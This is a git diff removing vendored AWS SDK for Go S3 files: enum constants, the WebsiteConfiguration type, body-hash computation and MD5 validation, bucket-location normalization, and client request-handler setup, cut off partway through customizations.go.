*VersioningConfiguration { - s.MFADelete = &v - return s -} - -// SetStatus sets the Status field's value. -func (s *VersioningConfiguration) SetStatus(v string) *VersioningConfiguration { - s.Status = &v - return s -} - -type WebsiteConfiguration struct { - _ struct{} `type:"structure"` - - ErrorDocument *ErrorDocument `type:"structure"` - - IndexDocument *IndexDocument `type:"structure"` - - RedirectAllRequestsTo *RedirectAllRequestsTo `type:"structure"` - - RoutingRules []*RoutingRule `locationNameList:"RoutingRule" type:"list"` -} - -// String returns the string representation -func (s WebsiteConfiguration) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s WebsiteConfiguration) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *WebsiteConfiguration) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "WebsiteConfiguration"} - if s.ErrorDocument != nil { - if err := s.ErrorDocument.Validate(); err != nil { - invalidParams.AddNested("ErrorDocument", err.(request.ErrInvalidParams)) - } - } - if s.IndexDocument != nil { - if err := s.IndexDocument.Validate(); err != nil { - invalidParams.AddNested("IndexDocument", err.(request.ErrInvalidParams)) - } - } - if s.RedirectAllRequestsTo != nil { - if err := s.RedirectAllRequestsTo.Validate(); err != nil { - invalidParams.AddNested("RedirectAllRequestsTo", err.(request.ErrInvalidParams)) - } - } - if s.RoutingRules != nil { - for i, v := range s.RoutingRules { - if v == nil { - continue - } - if err := v.Validate(); err != nil { - invalidParams.AddNested(fmt.Sprintf("%s[%v]", "RoutingRules", i), err.(request.ErrInvalidParams)) - } - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetErrorDocument sets the ErrorDocument field's value. -func (s *WebsiteConfiguration) SetErrorDocument(v *ErrorDocument) *WebsiteConfiguration { - s.ErrorDocument = v - return s -} - -// SetIndexDocument sets the IndexDocument field's value. -func (s *WebsiteConfiguration) SetIndexDocument(v *IndexDocument) *WebsiteConfiguration { - s.IndexDocument = v - return s -} - -// SetRedirectAllRequestsTo sets the RedirectAllRequestsTo field's value. -func (s *WebsiteConfiguration) SetRedirectAllRequestsTo(v *RedirectAllRequestsTo) *WebsiteConfiguration { - s.RedirectAllRequestsTo = v - return s -} - -// SetRoutingRules sets the RoutingRules field's value. -func (s *WebsiteConfiguration) SetRoutingRules(v []*RoutingRule) *WebsiteConfiguration { - s.RoutingRules = v - return s -} - -const ( - // AnalyticsS3ExportFileFormatCsv is a AnalyticsS3ExportFileFormat enum value - AnalyticsS3ExportFileFormatCsv = "CSV" -) - -const ( - // BucketAccelerateStatusEnabled is a BucketAccelerateStatus enum value - BucketAccelerateStatusEnabled = "Enabled" - - // BucketAccelerateStatusSuspended is a BucketAccelerateStatus enum value - BucketAccelerateStatusSuspended = "Suspended" -) - -const ( - // BucketCannedACLPrivate is a BucketCannedACL enum value - BucketCannedACLPrivate = "private" - - // BucketCannedACLPublicRead is a BucketCannedACL enum value - BucketCannedACLPublicRead = "public-read" - - // BucketCannedACLPublicReadWrite is a BucketCannedACL enum value - BucketCannedACLPublicReadWrite = "public-read-write" - - // BucketCannedACLAuthenticatedRead is a BucketCannedACL enum value - BucketCannedACLAuthenticatedRead = "authenticated-read" -) - -const ( - // BucketLocationConstraintEu is a BucketLocationConstraint enum value - BucketLocationConstraintEu = "EU" - - // BucketLocationConstraintEuWest1 is a BucketLocationConstraint enum value - BucketLocationConstraintEuWest1 = "eu-west-1" - - // BucketLocationConstraintUsWest1 is a BucketLocationConstraint enum value - BucketLocationConstraintUsWest1 = "us-west-1" - - // BucketLocationConstraintUsWest2 is a BucketLocationConstraint enum value - BucketLocationConstraintUsWest2 = "us-west-2" - - // BucketLocationConstraintApSouth1 is a BucketLocationConstraint enum value - BucketLocationConstraintApSouth1 = "ap-south-1" - - // BucketLocationConstraintApSoutheast1 is a BucketLocationConstraint enum value - BucketLocationConstraintApSoutheast1 = "ap-southeast-1" - - // BucketLocationConstraintApSoutheast2 is a BucketLocationConstraint enum value - BucketLocationConstraintApSoutheast2 = "ap-southeast-2" - - // BucketLocationConstraintApNortheast1 is a BucketLocationConstraint enum value - BucketLocationConstraintApNortheast1 = "ap-northeast-1" - - // BucketLocationConstraintSaEast1 is a BucketLocationConstraint enum value - BucketLocationConstraintSaEast1 = "sa-east-1" - - // BucketLocationConstraintCnNorth1 is a BucketLocationConstraint enum value - BucketLocationConstraintCnNorth1 = "cn-north-1" - - // BucketLocationConstraintEuCentral1 is a BucketLocationConstraint enum value - BucketLocationConstraintEuCentral1 = "eu-central-1" -) - -const ( - // BucketLogsPermissionFullControl is a BucketLogsPermission enum value - BucketLogsPermissionFullControl = "FULL_CONTROL" - - // BucketLogsPermissionRead is a BucketLogsPermission enum value - BucketLogsPermissionRead = "READ" - - // BucketLogsPermissionWrite is a BucketLogsPermission enum value - BucketLogsPermissionWrite = "WRITE" -) - -const ( - // BucketVersioningStatusEnabled is a BucketVersioningStatus enum value - BucketVersioningStatusEnabled = "Enabled" - - // BucketVersioningStatusSuspended is a BucketVersioningStatus enum value - BucketVersioningStatusSuspended = "Suspended" -) - -const ( - // CompressionTypeNone is a CompressionType enum value - CompressionTypeNone = "NONE" - - // CompressionTypeGzip is a CompressionType enum value - CompressionTypeGzip = "GZIP" - - // CompressionTypeBzip2 is a CompressionType enum value - CompressionTypeBzip2 = "BZIP2" -) - -const ( - // DeleteMarkerReplicationStatusEnabled is a DeleteMarkerReplicationStatus enum value - DeleteMarkerReplicationStatusEnabled = "Enabled" - - // DeleteMarkerReplicationStatusDisabled is a DeleteMarkerReplicationStatus enum value - DeleteMarkerReplicationStatusDisabled = "Disabled" -) - -// Requests Amazon S3 to encode the object keys in the response and specifies -// the encoding method to use. An object key may contain any Unicode character; -// however, XML 1.0 parser cannot parse some characters, such as characters -// with an ASCII value from 0 to 10. For characters that are not supported in -// XML 1.0, you can add this parameter to request that Amazon S3 encode the -// keys in the response. -const ( - // EncodingTypeUrl is a EncodingType enum value - EncodingTypeUrl = "url" -) - -// The bucket event for which to send notifications. -const ( - // EventS3ReducedRedundancyLostObject is a Event enum value - EventS3ReducedRedundancyLostObject = "s3:ReducedRedundancyLostObject" - - // EventS3ObjectCreated is a Event enum value - EventS3ObjectCreated = "s3:ObjectCreated:*" - - // EventS3ObjectCreatedPut is a Event enum value - EventS3ObjectCreatedPut = "s3:ObjectCreated:Put" - - // EventS3ObjectCreatedPost is a Event enum value - EventS3ObjectCreatedPost = "s3:ObjectCreated:Post" - - // EventS3ObjectCreatedCopy is a Event enum value - EventS3ObjectCreatedCopy = "s3:ObjectCreated:Copy" - - // EventS3ObjectCreatedCompleteMultipartUpload is a Event enum value - EventS3ObjectCreatedCompleteMultipartUpload = "s3:ObjectCreated:CompleteMultipartUpload" - - // EventS3ObjectRemoved is a Event enum value - EventS3ObjectRemoved = "s3:ObjectRemoved:*" - - // EventS3ObjectRemovedDelete is a Event enum value - EventS3ObjectRemovedDelete = "s3:ObjectRemoved:Delete" - - // EventS3ObjectRemovedDeleteMarkerCreated is a Event enum value - EventS3ObjectRemovedDeleteMarkerCreated = "s3:ObjectRemoved:DeleteMarkerCreated" - - // EventS3ObjectRestorePost is a Event enum value - EventS3ObjectRestorePost = "s3:ObjectRestore:Post" - - // EventS3ObjectRestoreCompleted is a Event enum value - EventS3ObjectRestoreCompleted = "s3:ObjectRestore:Completed" -) - -const ( - // ExpirationStatusEnabled is a ExpirationStatus enum value - ExpirationStatusEnabled = "Enabled" - - // ExpirationStatusDisabled is a ExpirationStatus enum value - ExpirationStatusDisabled = "Disabled" -) - -const ( - // ExpressionTypeSql is a ExpressionType enum value - ExpressionTypeSql = "SQL" -) - -const ( - // FileHeaderInfoUse is a FileHeaderInfo enum value - FileHeaderInfoUse = "USE" - - // FileHeaderInfoIgnore is a FileHeaderInfo enum value - FileHeaderInfoIgnore = "IGNORE" - - // FileHeaderInfoNone is a FileHeaderInfo enum value - FileHeaderInfoNone = "NONE" -) - -const ( - // FilterRuleNamePrefix is a FilterRuleName enum value - FilterRuleNamePrefix = "prefix" - - // FilterRuleNameSuffix is a FilterRuleName enum value - FilterRuleNameSuffix = "suffix" -) - -const ( - // InventoryFormatCsv is a InventoryFormat enum value - InventoryFormatCsv = "CSV" - - // InventoryFormatOrc is a InventoryFormat enum value - InventoryFormatOrc = "ORC" - - // InventoryFormatParquet is a InventoryFormat enum value - InventoryFormatParquet = "Parquet" -) - -const ( - // InventoryFrequencyDaily is a InventoryFrequency enum value - InventoryFrequencyDaily = "Daily" - - // InventoryFrequencyWeekly is a InventoryFrequency enum value - InventoryFrequencyWeekly = "Weekly" -) - -const ( - // InventoryIncludedObjectVersionsAll is a InventoryIncludedObjectVersions enum value - InventoryIncludedObjectVersionsAll = "All" - - // InventoryIncludedObjectVersionsCurrent is a InventoryIncludedObjectVersions enum value - InventoryIncludedObjectVersionsCurrent = "Current" -) - -const ( - // InventoryOptionalFieldSize is a InventoryOptionalField enum value - InventoryOptionalFieldSize = "Size" - - // InventoryOptionalFieldLastModifiedDate is a InventoryOptionalField enum value - InventoryOptionalFieldLastModifiedDate = "LastModifiedDate" - - // InventoryOptionalFieldStorageClass is a InventoryOptionalField enum value - InventoryOptionalFieldStorageClass = "StorageClass" - - // InventoryOptionalFieldEtag is a InventoryOptionalField enum value - InventoryOptionalFieldEtag = "ETag" - - // InventoryOptionalFieldIsMultipartUploaded is a InventoryOptionalField enum value - InventoryOptionalFieldIsMultipartUploaded = "IsMultipartUploaded" - - // InventoryOptionalFieldReplicationStatus is a InventoryOptionalField enum value - InventoryOptionalFieldReplicationStatus = "ReplicationStatus" - - // InventoryOptionalFieldEncryptionStatus is a InventoryOptionalField enum value - InventoryOptionalFieldEncryptionStatus = "EncryptionStatus" - - // InventoryOptionalFieldObjectLockRetainUntilDate is a InventoryOptionalField enum value - InventoryOptionalFieldObjectLockRetainUntilDate = "ObjectLockRetainUntilDate" - - // InventoryOptionalFieldObjectLockMode is a InventoryOptionalField enum value - InventoryOptionalFieldObjectLockMode = "ObjectLockMode" - - // InventoryOptionalFieldObjectLockLegalHoldStatus is a InventoryOptionalField enum value - InventoryOptionalFieldObjectLockLegalHoldStatus = "ObjectLockLegalHoldStatus" -) - -const ( - // JSONTypeDocument is a JSONType enum value - JSONTypeDocument = "DOCUMENT" - - // JSONTypeLines is a JSONType enum value - JSONTypeLines = "LINES" -) - -const ( - // MFADeleteEnabled is a MFADelete enum value - MFADeleteEnabled = "Enabled" - - // MFADeleteDisabled is a MFADelete enum value - MFADeleteDisabled = "Disabled" -) - -const ( - // MFADeleteStatusEnabled is a MFADeleteStatus enum value - MFADeleteStatusEnabled = "Enabled" - - // MFADeleteStatusDisabled is a MFADeleteStatus enum value - MFADeleteStatusDisabled = "Disabled" -) - -const ( - // MetadataDirectiveCopy is a MetadataDirective enum value - MetadataDirectiveCopy = "COPY" - - // MetadataDirectiveReplace is a MetadataDirective enum value - MetadataDirectiveReplace = "REPLACE" -) - -const ( - // ObjectCannedACLPrivate is a ObjectCannedACL enum value - ObjectCannedACLPrivate = "private" - - // ObjectCannedACLPublicRead is a ObjectCannedACL enum value - ObjectCannedACLPublicRead = "public-read" - - // ObjectCannedACLPublicReadWrite is a ObjectCannedACL enum value - ObjectCannedACLPublicReadWrite = "public-read-write" - - // ObjectCannedACLAuthenticatedRead is a ObjectCannedACL enum value - ObjectCannedACLAuthenticatedRead = "authenticated-read" - - // ObjectCannedACLAwsExecRead is a ObjectCannedACL enum value - ObjectCannedACLAwsExecRead = "aws-exec-read" - - // ObjectCannedACLBucketOwnerRead is a ObjectCannedACL enum value - ObjectCannedACLBucketOwnerRead = "bucket-owner-read" - - // ObjectCannedACLBucketOwnerFullControl is a ObjectCannedACL enum value - ObjectCannedACLBucketOwnerFullControl = "bucket-owner-full-control" -) - -const ( - // ObjectLockEnabledEnabled is a ObjectLockEnabled enum value - ObjectLockEnabledEnabled = "Enabled" -) - -const ( - // ObjectLockLegalHoldStatusOn is a ObjectLockLegalHoldStatus enum value - ObjectLockLegalHoldStatusOn = "ON" - - // ObjectLockLegalHoldStatusOff is a ObjectLockLegalHoldStatus enum value - ObjectLockLegalHoldStatusOff = "OFF" -) - -const ( - // ObjectLockModeGovernance is a ObjectLockMode enum value - ObjectLockModeGovernance = "GOVERNANCE" - - // ObjectLockModeCompliance is a ObjectLockMode enum value - ObjectLockModeCompliance = "COMPLIANCE" -) - -const ( - // ObjectLockRetentionModeGovernance is a ObjectLockRetentionMode enum value - ObjectLockRetentionModeGovernance = "GOVERNANCE" - - // ObjectLockRetentionModeCompliance is a ObjectLockRetentionMode enum value - ObjectLockRetentionModeCompliance = "COMPLIANCE" -) - -const ( - // ObjectStorageClassStandard is a ObjectStorageClass enum value - ObjectStorageClassStandard = "STANDARD" - - // ObjectStorageClassReducedRedundancy is a ObjectStorageClass enum value - ObjectStorageClassReducedRedundancy = "REDUCED_REDUNDANCY" - - // ObjectStorageClassGlacier is a ObjectStorageClass enum value - ObjectStorageClassGlacier = "GLACIER" - - // ObjectStorageClassStandardIa is a ObjectStorageClass enum value - ObjectStorageClassStandardIa = "STANDARD_IA" - - // ObjectStorageClassOnezoneIa is a ObjectStorageClass enum value - ObjectStorageClassOnezoneIa = "ONEZONE_IA" - - // ObjectStorageClassIntelligentTiering is a ObjectStorageClass enum value - ObjectStorageClassIntelligentTiering = "INTELLIGENT_TIERING" -) - -const ( - // ObjectVersionStorageClassStandard is a ObjectVersionStorageClass enum value - ObjectVersionStorageClassStandard = "STANDARD" -) - -const ( - // OwnerOverrideDestination is a OwnerOverride enum value - OwnerOverrideDestination = "Destination" -) - -const ( - // PayerRequester is a Payer enum value - PayerRequester = "Requester" - - // PayerBucketOwner is a Payer enum value - PayerBucketOwner = "BucketOwner" -) - -const ( - // PermissionFullControl is a Permission enum value - PermissionFullControl = "FULL_CONTROL" - - // PermissionWrite is a Permission enum value - PermissionWrite = "WRITE" - - // PermissionWriteAcp is a Permission enum value - PermissionWriteAcp = "WRITE_ACP" - - // PermissionRead is a Permission enum value - PermissionRead = "READ" - - // PermissionReadAcp is a Permission enum value - PermissionReadAcp = "READ_ACP" -) - -const ( - // ProtocolHttp is a Protocol enum value - ProtocolHttp = "http" - - // ProtocolHttps is a Protocol enum value - ProtocolHttps = "https" -) - -const ( - // QuoteFieldsAlways is a QuoteFields enum value - QuoteFieldsAlways = "ALWAYS" - - // QuoteFieldsAsneeded is a QuoteFields enum value - QuoteFieldsAsneeded = "ASNEEDED" -) - -const ( - // ReplicationRuleStatusEnabled is a ReplicationRuleStatus enum value - ReplicationRuleStatusEnabled = "Enabled" - - // ReplicationRuleStatusDisabled is a ReplicationRuleStatus enum value - ReplicationRuleStatusDisabled = "Disabled" -) - -const ( - // ReplicationStatusComplete is a ReplicationStatus enum value - ReplicationStatusComplete = "COMPLETE" - - // ReplicationStatusPending is a ReplicationStatus enum value - ReplicationStatusPending = "PENDING" - - // ReplicationStatusFailed is a ReplicationStatus enum value - ReplicationStatusFailed = "FAILED" - - // ReplicationStatusReplica is a ReplicationStatus enum value - ReplicationStatusReplica = "REPLICA" -) - -// If present, indicates that the requester was successfully charged for the -// request. -const ( - // RequestChargedRequester is a RequestCharged enum value - RequestChargedRequester = "requester" -) - -// Confirms that the requester knows that she or he will be charged for the -// request. Bucket owners need not specify this parameter in their requests. -// Documentation on downloading objects from requester pays buckets can be found -// at http://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html -const ( - // RequestPayerRequester is a RequestPayer enum value - RequestPayerRequester = "requester" -) - -const ( - // RestoreRequestTypeSelect is a RestoreRequestType enum value - RestoreRequestTypeSelect = "SELECT" -) - -const ( - // ServerSideEncryptionAes256 is a ServerSideEncryption enum value - ServerSideEncryptionAes256 = "AES256" - - // ServerSideEncryptionAwsKms is a ServerSideEncryption enum value - ServerSideEncryptionAwsKms = "aws:kms" -) - -const ( - // SseKmsEncryptedObjectsStatusEnabled is a SseKmsEncryptedObjectsStatus enum value - SseKmsEncryptedObjectsStatusEnabled = "Enabled" - - // SseKmsEncryptedObjectsStatusDisabled is a SseKmsEncryptedObjectsStatus enum value - SseKmsEncryptedObjectsStatusDisabled = "Disabled" -) - -const ( - // StorageClassStandard is a StorageClass enum value - StorageClassStandard = "STANDARD" - - // StorageClassReducedRedundancy is a StorageClass enum value - StorageClassReducedRedundancy = "REDUCED_REDUNDANCY" - - // StorageClassStandardIa is a StorageClass enum value - StorageClassStandardIa = "STANDARD_IA" - - // StorageClassOnezoneIa is a StorageClass enum value - StorageClassOnezoneIa = "ONEZONE_IA" - - // StorageClassIntelligentTiering is a StorageClass enum value - StorageClassIntelligentTiering = "INTELLIGENT_TIERING" - - // StorageClassGlacier is a StorageClass enum value - StorageClassGlacier = "GLACIER" -) - -const ( - // StorageClassAnalysisSchemaVersionV1 is a StorageClassAnalysisSchemaVersion enum value - StorageClassAnalysisSchemaVersionV1 = "V_1" -) - -const ( - // TaggingDirectiveCopy is a TaggingDirective enum value - TaggingDirectiveCopy = "COPY" - - // TaggingDirectiveReplace is a TaggingDirective enum value - TaggingDirectiveReplace = "REPLACE" -) - -const ( - // TierStandard is a Tier enum value - TierStandard = "Standard" - - // TierBulk is a Tier enum value - TierBulk = "Bulk" - - // TierExpedited is a Tier enum value - TierExpedited = "Expedited" -) - -const ( - // TransitionStorageClassGlacier is a TransitionStorageClass enum value - TransitionStorageClassGlacier = "GLACIER" - - // TransitionStorageClassStandardIa is a TransitionStorageClass enum value - TransitionStorageClassStandardIa = "STANDARD_IA" - - // TransitionStorageClassOnezoneIa is a TransitionStorageClass enum value - TransitionStorageClassOnezoneIa = "ONEZONE_IA" - - // TransitionStorageClassIntelligentTiering is a TransitionStorageClass enum value - TransitionStorageClassIntelligentTiering = "INTELLIGENT_TIERING" -) - -const ( - // TypeCanonicalUser is a Type enum value - TypeCanonicalUser = "CanonicalUser" - - // TypeAmazonCustomerByEmail is a Type enum value - TypeAmazonCustomerByEmail = "AmazonCustomerByEmail" - - // TypeGroup is a Type enum value - TypeGroup = "Group" -) diff --git a/vendor/github.com/aws/aws-sdk-go/service/s3/body_hash.go b/vendor/github.com/aws/aws-sdk-go/service/s3/body_hash.go deleted file mode 100644 index 5c8ce5cc8a..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/service/s3/body_hash.go +++ /dev/null @@ -1,249 +0,0 @@ -package s3 - -import ( - "bytes" - "crypto/md5" - "crypto/sha256" - "encoding/base64" - "encoding/hex" - "fmt" - "hash" - "io" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/request" - "github.com/aws/aws-sdk-go/internal/sdkio" -) - -const ( - contentMD5Header = "Content-Md5" - contentSha256Header = "X-Amz-Content-Sha256" - amzTeHeader = "X-Amz-Te" - amzTxEncodingHeader = "X-Amz-Transfer-Encoding" - - appendMD5TxEncoding = "append-md5" -) - -// contentMD5 computes and sets the HTTP Content-MD5 header for requests that -// require it. -func contentMD5(r *request.Request) { - h := md5.New() - - if !aws.IsReaderSeekable(r.Body) { - if r.Config.Logger != nil { - r.Config.Logger.Log(fmt.Sprintf( - "Unable to compute Content-MD5 for unseekable body, S3.%s", - r.Operation.Name)) - } - return - } - - if _, err := copySeekableBody(h, r.Body); err != nil { - r.Error = awserr.New("ContentMD5", "failed to compute body MD5", err) - return - } - - // encode the md5 checksum in base64 and set the request header. - v := base64.StdEncoding.EncodeToString(h.Sum(nil)) - r.HTTPRequest.Header.Set(contentMD5Header, v) -} - -// computeBodyHashes will add Content MD5 and Content Sha256 hashes to the -// request. If the body is not seekable or S3DisableContentMD5Validation set -// this handler will be ignored. -func computeBodyHashes(r *request.Request) { - if aws.BoolValue(r.Config.S3DisableContentMD5Validation) { - return - } - if r.IsPresigned() { - return - } - if r.Error != nil || !aws.IsReaderSeekable(r.Body) { - return - } - - var md5Hash, sha256Hash hash.Hash - hashers := make([]io.Writer, 0, 2) - - // Determine upfront which hashes can be set without overriding user - // provide header data. - if v := r.HTTPRequest.Header.Get(contentMD5Header); len(v) == 0 { - md5Hash = md5.New() - hashers = append(hashers, md5Hash) - } - - if v := r.HTTPRequest.Header.Get(contentSha256Header); len(v) == 0 { - sha256Hash = sha256.New() - hashers = append(hashers, sha256Hash) - } - - // Create the destination writer based on the hashes that are not already - // provided by the user. - var dst io.Writer - switch len(hashers) { - case 0: - return - case 1: - dst = hashers[0] - default: - dst = io.MultiWriter(hashers...) - } - - if _, err := copySeekableBody(dst, r.Body); err != nil { - r.Error = awserr.New("BodyHashError", "failed to compute body hashes", err) - return - } - - // For the hashes created, set the associated headers that the user did not - // already provide. - if md5Hash != nil { - sum := make([]byte, md5.Size) - encoded := make([]byte, md5Base64EncLen) - - base64.StdEncoding.Encode(encoded, md5Hash.Sum(sum[0:0])) - r.HTTPRequest.Header[contentMD5Header] = []string{string(encoded)} - } - - if sha256Hash != nil { - encoded := make([]byte, sha256HexEncLen) - sum := make([]byte, sha256.Size) - - hex.Encode(encoded, sha256Hash.Sum(sum[0:0])) - r.HTTPRequest.Header[contentSha256Header] = []string{string(encoded)} - } -} - -const ( - md5Base64EncLen = (md5.Size + 2) / 3 * 4 // base64.StdEncoding.EncodedLen - sha256HexEncLen = sha256.Size * 2 // hex.EncodedLen -) - -func copySeekableBody(dst io.Writer, src io.ReadSeeker) (int64, error) { - curPos, err := src.Seek(0, sdkio.SeekCurrent) - if err != nil { - return 0, err - } - - // hash the body. seek back to the first position after reading to reset - // the body for transmission. copy errors may be assumed to be from the - // body. - n, err := io.Copy(dst, src) - if err != nil { - return n, err - } - - _, err = src.Seek(curPos, sdkio.SeekStart) - if err != nil { - return n, err - } - - return n, nil -} - -// Adds the x-amz-te: append_md5 header to the request. This requests the service -// responds with a trailing MD5 checksum. -// -// Will not ask for append MD5 if disabled, the request is presigned or, -// or the API operation does not support content MD5 validation. -func askForTxEncodingAppendMD5(r *request.Request) { - if aws.BoolValue(r.Config.S3DisableContentMD5Validation) { - return - } - if r.IsPresigned() { - return - } - r.HTTPRequest.Header.Set(amzTeHeader, appendMD5TxEncoding) -} - -func useMD5ValidationReader(r *request.Request) { - if r.Error != nil { - return - } - - if v := r.HTTPResponse.Header.Get(amzTxEncodingHeader); v != appendMD5TxEncoding { - return - } - - var bodyReader *io.ReadCloser - var contentLen int64 - switch tv := r.Data.(type) { - case *GetObjectOutput: - bodyReader = &tv.Body - contentLen = aws.Int64Value(tv.ContentLength) - // Update ContentLength hiden the trailing MD5 checksum. - tv.ContentLength = aws.Int64(contentLen - md5.Size) - tv.ContentRange = aws.String(r.HTTPResponse.Header.Get("X-Amz-Content-Range")) - default: - r.Error = awserr.New("ChecksumValidationError", - fmt.Sprintf("%s: %s header received on unsupported API, %s", - amzTxEncodingHeader, appendMD5TxEncoding, r.Operation.Name, - ), nil) - return - } - - if contentLen < md5.Size { - r.Error = awserr.New("ChecksumValidationError", - fmt.Sprintf("invalid Content-Length %d for %s %s", - contentLen, appendMD5TxEncoding, amzTxEncodingHeader, - ), nil) - return - } - - // Wrap and swap the response body reader with the validation reader. - *bodyReader = newMD5ValidationReader(*bodyReader, contentLen-md5.Size) -} - -type md5ValidationReader struct { - rawReader io.ReadCloser - payload io.Reader - hash hash.Hash - - payloadLen int64 - read int64 -} - -func newMD5ValidationReader(reader io.ReadCloser, payloadLen int64) *md5ValidationReader { - h := md5.New() - return &md5ValidationReader{ - rawReader: reader, - payload: io.TeeReader(&io.LimitedReader{R: reader, N: payloadLen}, h), - hash: h, - payloadLen: payloadLen, - } -} - -func (v *md5ValidationReader) Read(p []byte) (n int, err error) { - n, err = v.payload.Read(p) - if err != nil && err != io.EOF { - return n, err - } - - v.read += int64(n) - - if err == io.EOF { - if v.read != v.payloadLen { - return n, io.ErrUnexpectedEOF - } - expectSum := make([]byte, md5.Size) - actualSum := make([]byte, md5.Size) - if _, sumReadErr := io.ReadFull(v.rawReader, expectSum); sumReadErr != nil { - return n, sumReadErr - } - actualSum = v.hash.Sum(actualSum[0:0]) - if !bytes.Equal(expectSum, actualSum) { - return n, awserr.New("InvalidChecksum", - fmt.Sprintf("expected MD5 checksum %s, got %s", - hex.EncodeToString(expectSum), - hex.EncodeToString(actualSum), - ), - nil) - } - } - - return n, err -} - -func (v *md5ValidationReader) Close() error { - return v.rawReader.Close() -} diff --git a/vendor/github.com/aws/aws-sdk-go/service/s3/bucket_location.go b/vendor/github.com/aws/aws-sdk-go/service/s3/bucket_location.go deleted file mode 100644 index bc68a46acf..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/service/s3/bucket_location.go +++ /dev/null @@ -1,106 +0,0 @@ -package s3 - -import ( - "io/ioutil" - "regexp" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/awsutil" - "github.com/aws/aws-sdk-go/aws/request" -) - -var reBucketLocation = regexp.MustCompile(`>([^<>]+)<\/Location`) - -// NormalizeBucketLocation is a utility function which will update the -// passed in value to always be a region ID. Generally this would be used -// with GetBucketLocation API operation. -// -// Replaces empty string with "us-east-1", and "EU" with "eu-west-1". -// -// See http://docs.aws.amazon.com/AmazonS3/latest/API/RESTBucketGETlocation.html -// for more information on the values that can be returned. -func NormalizeBucketLocation(loc string) string { - switch loc { - case "": - loc = "us-east-1" - case "EU": - loc = "eu-west-1" - } - - return loc -} - -// NormalizeBucketLocationHandler is a request handler which will update the -// GetBucketLocation's result LocationConstraint value to always be a region ID. -// -// Replaces empty string with "us-east-1", and "EU" with "eu-west-1". -// -// See http://docs.aws.amazon.com/AmazonS3/latest/API/RESTBucketGETlocation.html -// for more information on the values that can be returned. -// -// req, result := svc.GetBucketLocationRequest(&s3.GetBucketLocationInput{ -// Bucket: aws.String(bucket), -// }) -// req.Handlers.Unmarshal.PushBackNamed(NormalizeBucketLocationHandler) -// err := req.Send() -var NormalizeBucketLocationHandler = request.NamedHandler{ - Name: "awssdk.s3.NormalizeBucketLocation", - Fn: func(req *request.Request) { - if req.Error != nil { - return - } - - out := req.Data.(*GetBucketLocationOutput) - loc := NormalizeBucketLocation(aws.StringValue(out.LocationConstraint)) - out.LocationConstraint = aws.String(loc) - }, -} - -// WithNormalizeBucketLocation is a request option which will update the -// GetBucketLocation's result LocationConstraint value to always be a region ID. -// -// Replaces empty string with "us-east-1", and "EU" with "eu-west-1". -// -// See http://docs.aws.amazon.com/AmazonS3/latest/API/RESTBucketGETlocation.html -// for more information on the values that can be returned. -// -// result, err := svc.GetBucketLocationWithContext(ctx, -// &s3.GetBucketLocationInput{ -// Bucket: aws.String(bucket), -// }, -// s3.WithNormalizeBucketLocation, -// ) -func WithNormalizeBucketLocation(r *request.Request) { - r.Handlers.Unmarshal.PushBackNamed(NormalizeBucketLocationHandler) -} - -func buildGetBucketLocation(r *request.Request) { - if r.DataFilled() { - out := r.Data.(*GetBucketLocationOutput) - b, err := ioutil.ReadAll(r.HTTPResponse.Body) - if err != nil { - r.Error = awserr.New("SerializationError", "failed reading response body", err) - return - } - - match := reBucketLocation.FindSubmatch(b) - if len(match) > 1 { - loc := string(match[1]) - out.LocationConstraint = aws.String(loc) - } - } -} - -func populateLocationConstraint(r *request.Request) { - if r.ParamsFilled() && aws.StringValue(r.Config.Region) != "us-east-1" { - in := r.Params.(*CreateBucketInput) - if in.CreateBucketConfiguration == nil { - r.Params = awsutil.CopyOf(r.Params) - in = r.Params.(*CreateBucketInput) - in.CreateBucketConfiguration = &CreateBucketConfiguration{ - LocationConstraint: r.Config.Region, - } - } - } -} diff --git a/vendor/github.com/aws/aws-sdk-go/service/s3/customizations.go b/vendor/github.com/aws/aws-sdk-go/service/s3/customizations.go deleted file mode 100644 index 95f2456363..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/service/s3/customizations.go +++ /dev/null @@ -1,74 +0,0 @@ -package s3 - -import ( - "github.com/aws/aws-sdk-go/aws/client" - "github.com/aws/aws-sdk-go/aws/request" - "github.com/aws/aws-sdk-go/internal/s3err" -) - -func init() { - initClient = defaultInitClientFn - initRequest = defaultInitRequestFn -} - -func defaultInitClientFn(c *client.Client) { - // Support building custom endpoints based on config - c.Handlers.Build.PushFront(updateEndpointForS3Config) - - // Require SSL when using SSE keys - c.Handlers.Validate.PushBack(validateSSERequiresSSL) - c.Handlers.Build.PushBack(computeSSEKeys) - - // S3 uses custom error unmarshaling logic - c.Handlers.UnmarshalError.Clear() - c.Handlers.UnmarshalError.PushBack(unmarshalError) - c.Handlers.UnmarshalError.PushBackNamed(s3err.RequestFailureWrapperHandler()) -} - -func defaultInitRequestFn(r *request.Request) { - // Add reuest handlers for specific platforms. - // e.g. 100-continue support for PUT requests using Go 1.6 - platformRequestHandlers(r) - - switch r.Operation.Name { - case opPutBucketCors, opPutBucketLifecycle, opPutBucketPolicy, - opPutBucketTagging, opDeleteObjects, opPutBucketLifecycleConfiguration, - opPutObjectLegalHold, opPutObjectRetention, opPutObjectLockConfiguration, - opPutBucketReplication: - // These S3 operations require Content-MD5 to be set - r.Handlers.Build.PushBack(contentMD5) - case opGetBucketLocation: - // GetBucketLocation has custom parsing logic - r.Handlers.Unmarshal.PushFront(buildGetBucketLocation) - case opCreateBucket: - // Auto-populate LocationConstraint with current region - r.Handlers.Validate.PushFront(populateLocationConstraint) - case opCopyObject, opUploadPartCopy, opCompleteMultipartUpload: - r.Handlers.Unmarshal.PushFront(copyMultipartStatusOKUnmarhsalError) - r.Handlers.Unmarshal.PushBackNamed(s3err.RequestFailureWrapperHandler()) - case opPutObject, opUploadPart: - r.Handlers.Build.PushBack(computeBodyHashes) - // Disabled until #1837 root issue is resolved. - // case opGetObject: - // r.Handlers.Build.PushBack(askForTxEncodingAppendMD5) - // 